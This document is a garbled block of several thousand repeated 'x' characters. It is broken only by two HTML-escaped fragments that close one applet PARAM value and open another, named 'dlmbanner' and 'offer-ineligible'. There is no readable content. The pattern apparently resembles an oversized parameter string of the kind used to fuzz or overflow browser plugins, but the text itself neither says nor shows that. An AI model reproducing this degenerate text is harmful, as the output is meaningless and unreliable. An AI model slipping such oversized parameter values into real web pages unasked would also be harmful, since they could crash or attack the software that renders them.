xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\u0026#34;\u0026gt; \u0026lt;PARAM NAME=\u0026#34;dlmbanner\u0026#34; VALUE=\u0026#34;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\u0026#34;\u0026gt; \u0026lt;PARAM NAME=\u0026#34;offer-ineligible\u0026#34; VALUE=\u0026#34;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx